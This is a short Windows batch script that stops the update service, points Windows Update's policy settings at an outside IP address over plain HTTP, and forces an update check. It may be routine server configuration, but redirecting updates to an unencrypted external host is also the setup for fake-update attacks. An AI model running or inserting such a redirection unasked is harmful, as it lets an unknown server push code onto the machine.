net stop wuauserv

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer /t REG_SZ /d "http://87.230.50.254:80" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUStatusServer /t REG_SZ /d "http://87.230.50.254:80" /f

net start wuauserv

wuauclt.exe /detectnow
wuauclt.exe /reportnow